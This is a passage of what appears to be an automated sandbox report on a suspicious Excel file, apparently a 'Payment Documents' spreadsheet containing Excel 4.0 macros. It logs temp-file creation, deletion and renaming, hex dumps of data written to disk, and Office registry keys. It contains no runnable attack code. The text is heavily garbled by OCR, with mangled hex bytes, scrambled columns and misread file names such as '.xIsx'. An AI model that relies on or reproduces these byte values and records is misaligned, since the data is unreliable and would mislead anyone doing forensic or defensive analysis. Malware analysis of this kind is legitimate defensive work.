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File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\F4CA.tmp read attributes | device synchronous io  success or wait 1 13FCDEC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\B5FE0000 read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user\AppData\Local\Temp\903F.tmp read attributes | device synchronous io  success or wait 1 13FCDEC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\F4CA.tmp success or wait 1 13FF4B818 DeleteFilew
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs.rcv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs.ht~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\903F.tmp success or wait 1 13FF4B818 DeleteFilew
File Moved
Source
Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\B5FE0000 C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\46FE0000 C:\Users\user\Desktop\Payment Documents.xIsu success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_ C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_ C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_ C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__ C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss success or wait 1 7FEEAC59ACO unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Users\user\AppData\Local\Temp\B5FE0000

C:\Users\user\AppData\Local\Temp\B5FE0000
C:\Users\user\AppData\Local\Temp\B5FE0000

Copyright null 2021

Offset
569

978

Length Value

409

569

ac 94 4d 4f c3 30 Oc
86 ef 48 fc 87 2a 57

Ascii
.MO.0..H.*W.fp@.... #
1~-@.x

d4 66 704008 addb k.4.b....>".m..m.y........
..... EOd.u0.0K.1z..D...Q.X(
96 78 6b b4 348962 ..P...."f...Q..u.."D..2..

81 8f 23 20 31 7e 40

03 db bf c7 ed 3e 60
d3 d6 6d 12 97 aa 6d
e2 {7 79 9d d8 ee Of
e7 b5 cb be 20 a1 0d
be 14 d7 45 4f 64 e0
75 30 d6 4f 4b 1 31
7a ce ef 44 86 a4 bc
51 2e 78 28 ¢5 02 50
Oc 07 97 17 fd d1 22
02 66 1c ed b1 14 15
51 bc 97 12 75 05 b5
€2 22 44 f0 be 32 09
a9 56 c4 9f 69 2a a3
d2 33350579 d3eb
dd 4a 1d 3c 81 a7 9c
la0d 31 e8 3fc244
7d 3aca9e eb fc 7b
€9 64 6¢ bd c8 1e 96
fb 1a 54 29 54 8c ce
6a 45 6¢ 54 7e 79 b3
03 ¢c9 c364 62 3598
a0 3f 6b 96 2e 30 26
50 06 2b 00 aa 5d 11
93 65 62 7a 07 22 4e
Oc 85 dc cb 4c e0 fO
3c e82aab 82235b
63 58 d9 88 57 9c fa
0142 b3 7238 ab55
dc 2b 5f 47 b2 06 b2
37 95 e8 45 d5 9c bb
9c 3b f9 1d d2 6¢ 1c
c2 ac e8

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
12 a2 4f 21 9b 01 00

00 5d 0500 00 1300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2 04 0228 a0 00 .
02 00 00 00 00 0000 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

V..i*.35.y..J.<....1.2.D}:

{dl.....T)T.JEIT~y....db5..?

k..0&P.+..]..ebz."N....L..
<K#
[cX.W...B.r8.U.+_G...7.
Eol

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

13

13
13

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\B5FE0000

C:\Users\user\Desktop\46FE0000

Copyright null 2021

Offset Length Value

10926 908

unknown 16384

13 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 5b 43 6f
6e 74 65 6e 74 5f 54
7970 65 73 5d 2e 78
6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 d4 03 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 bb 5¢
95 el 1d 01 00 00 46
03 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 fa 06 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
00 08 00 00 00 21 00
27 79 4b ff 99 01 00
00 cb 02 00 00 0f 00
00 00 00 00 00 00 00
00 00 00 00 00 57 09
00 00 78 6¢ 2f 77 6f
72 6b 62 6f 6f 6b 2e
78 6d 6¢

09 08 10 00 00 06 05 .
006732cd07c900 .

02 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 05 00 .

00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 04 00 04 00 03
00 ba 01 0f 00 Oc 00
00 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 9c
000200 1100 19 00
02 00 00 00 12 00 02
00 00 00 13 00 02 00
00 00 af 01 02 00 00
00 bc 01 02 00 00 00
3d 00 12 00 f8 7f f8
7f f0 4b 5e 29 38 00
01 0001 00 0100 58
02 40 00

Ascii

IsPK
.................. xl/_rels/wor
kbook.xml.relsPK.
WK
xl/workbook.xml

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\46FE0000

C:\Users\user\Desktop\46FE0000

Copyright null 2021

Offset Length Value

unknown 5601

unknown 16384

Ascii

Completion

6f 00 63 00 75 00 6d o.c.u.m.e.n.t.C.r.y.p.t.S.e.c success or wait

00 65 00 6e 00 74 00
43 007200790070

00 74 00 53 00 65 00 .
63 007500720069 .
00 74 00 79 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

09 08 10 00 00 06 05 .
006732cd07c900 .

02 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 05 00 .

00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 04 00 04 00 03
00 ba 01 0f 00 Oc 00
00 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 9c
000200 1100 19 00
02 00 00 00 12 00 02
00 00 00 13 00 02 00
00 00 af 01 02 00 00
00 bc 01 02 00 00 00
3d 00 12 00 f8 7f f8
7f f0 4b 5e 29 38 00
01 0001 00 0100 58
02 40 00

LULrity..

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\46FE0000

C:\Users\user\Desktop\46FE0000

Copyright null 2021

Offset Length Value

unknown 8426

unknown 16384

Ascii

Completion

6f 00 63 00 75 00 6d o.c.u.m.e.n.t.C.r.y.p.t.S.e.c success or wait

00 65 00 6e 00 74 00
43 007200790070

00 74 00 53 00 65 00 .
63 007500720069 .
00 74 00 79 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

09 08 10 00 00 06 05 .
006732cd07c900 .

02 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00

00 5¢ 00 70 00 05 00 .

00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 2020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 04 00 04 00 03
00 ba 01 0f 00 Oc 00
00 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 9c
000200 1100 19 00
02 00 00 00 12 00 02
00 00 00 13 00 02 00
00 00 af 01 02 00 00
00 bc 01 02 00 00 00
3d 00 12 00 f8 7f f8
7f f0 4b 5e 29 38 00
01 0001 00 0100 58
02 40 00

LULrity..

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path

C:\Users\user\Desktop\46FE0000

C:\Users\user\Desktop\46FE0000

Copyright null 2021

Offset Length Value

unknown 184

unknown 268

fe ff 00 00 06 01 02

00 000000000000 ...

00 00 00 00 00 00 00

00000001000000 ..t...

e0 85 9f f2 f9 4f 68

10 ab 91 08 00 2b 27 .

b3 d9 30 00 00 00 88
00 00 00 06 00 00 00
01 00 00 00 38 00 00
00 08 00 00 00 40 00
00 00 12 00 00 00 50
00 00 00 Oc 00 00 00
68 00 00 00 0d 00 00
00 74 00 00 00 13 00
00 00 80 00 00 00 02
00 00 00 e4 04 00 00
1e 00 00 00 08 00 00
00 41 6¢ 62 75 73 00
00 00 1e 00 00 00 10
00 00 00 4d 69 63 72
6f 73 6f 66 74 20 45
78 63 65 6¢ 00 40 00
00 00 00 4c f7 7a 93
8f d6 01 40 00 00 00
00 b8 91 91 49 e4 d6
01 03 00 00 00 00 00
00 00

fe ff 00 00 06 01 02
00 00 00 00 00 00 00
00 00 00 00 00 00 00

00 00 00 01 00 00 00 ..h.
02d5cdd59c 2e 1b .

1093 97 08 00 2b 2¢
f9 ae 30 00 00 00 dc
00 00 00 08 00 00 00
01 00 00 00 48 00 00
00 17 00 00 00 50 00
00 00 Ob 00 00 00 58
00 00 00 10 00 00 00
60 00 00 00 13 00 00
00 68 00 00 00 16 00
00 00 70 00 00 00 Od
00 00 00 78 00 00 00
Oc 00 00 00 96 00 00
00 02 00 00 00 e4 04
00 00 03 00 00 00 00
00 Oe 00 Ob 00 00 00
00 00 00 00 Ob 00 00
00 00 00 00 00 Ob 00
00 00 00 00 00 00 Ob
00 00 00 00 00 00 00
1e 10 00 00 02 00 00
00 07 00 00 00 46 65
75 69 6¢ 31 00 07 00
00 00 4d 61 63 72 6f
31 00 Oc 10 00 00 04
00 00 00 1e 00 00 00
Ob 00 00 00 57 6f 72
6b 73 68 65 65 74 73
00 03 00 00 00 01 00
00 00 1e 00 00 00 11
00 00 00 45 78 63 65
6¢C 20 34 2e 30 20 4d
616372

.Excel 4.0 Macr

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\46FE0000

C:\Users\user\Desktop\46FE0000

File Read

File Path

C:\Users\user\Desktop\46FE0000
C:\Users\user\Desktop\46FE0000
C:\Users\user\Desktop\46FE0000

Registry Activities

Key Created

Key Path

Offset Length Value Ascii

unknown 1024 01100100I00102]0 010 O)EsrnEn T

00 03 00 00 00 04 00 .
00 00 05 00 00 0006 .
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00 .
00 0a 00 00 00 Ob 00
00 00 0c 000000 0d .

00 00 00 Oe 00 00 00 ..6...7...8...

0f 00 00 00 10 00 00
00 11 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00
00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30
00 00 00 fe ff f ff 32
00 00 00 33 00 00 00
34 00 00 00 35 00 00
00 36 00 00 00 37 00
00 00 38 00 00 00 fe
ff ff ff 3a 00 00 00 3b
00 00 00 3c 00 00 00
3d 00 00 00 3e 00 00
00 3f 00 00 00 40 00
00

unknown 512 docflle0alblla
€1 00 00 00 00 00 00 .
00 00 00 00 00 00 00 .
00 00 00 3e 00 03 00 .
fe ff 09 00 06 00 00
00 00 00 00 00 00 00 .
00 00 01 00 00 00 42 .
00 00 00 00 00 00 00 .
00 10 00 00 fe ff ff ff
00 00 00 00 fe ff ff ff
00 00 00 00 41 00 00
00 ff ff ff ff ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff f ff ff ff ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff

Offset
unknown
unknown

unknown

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

Copyright null 2021

Length
16384
16384
16384

Source

Completion Count Address Symbol
success or wait 1 7FEEACS59ACO unknown
success or wait 1 7FEEAC59ACO unknown
Source
Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
Source
Completion Count Address Symbol
success or wait 1 7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EFAEA

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF612

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EF68F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F909C

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F9109

Key Value Created

Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Max Display

Max Display

Item 1

Item 2

Item 3

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

N = = = = = NN

Count

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Page 29 of 44



Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EF4EA

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Place MRU

Copyright null 2021

Name

Item 19

Item 20

EF4EA

Max Display

Type

unicode

unicode

binary

dword

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

04 00 00 00 B8 05 00 00 3A 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00
7200 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00
4400 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00
65 00 6D 00 70 00 5C 00 62 00 65 00
66 00 6F 00 72 00 65 00 2E 00 31 00
2E 00 35 00 38 00 30 00 2E 00 34 00
2E 00 73 00 68 00 65 00 65 00 74 00
2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00
7000 70 00 44 00 61 00 74 00 61 00
5C 00 4C 00 6F 00 63 00 61 00 6C 00
5C 00 54 00 65 00 6D 00 70 00 5C 00
01 00 00 00 01 00 00 00 84 4A FA 8D
49 E4 D6 01 EA F4 OE 00 EA F4 OE
00 00 00 00 00 B8 02 00 00 OA 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

25

Completion

success or wait

success or wait

success or wait

success or wait

Source

Count Address Symbol

2

2

1

2

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

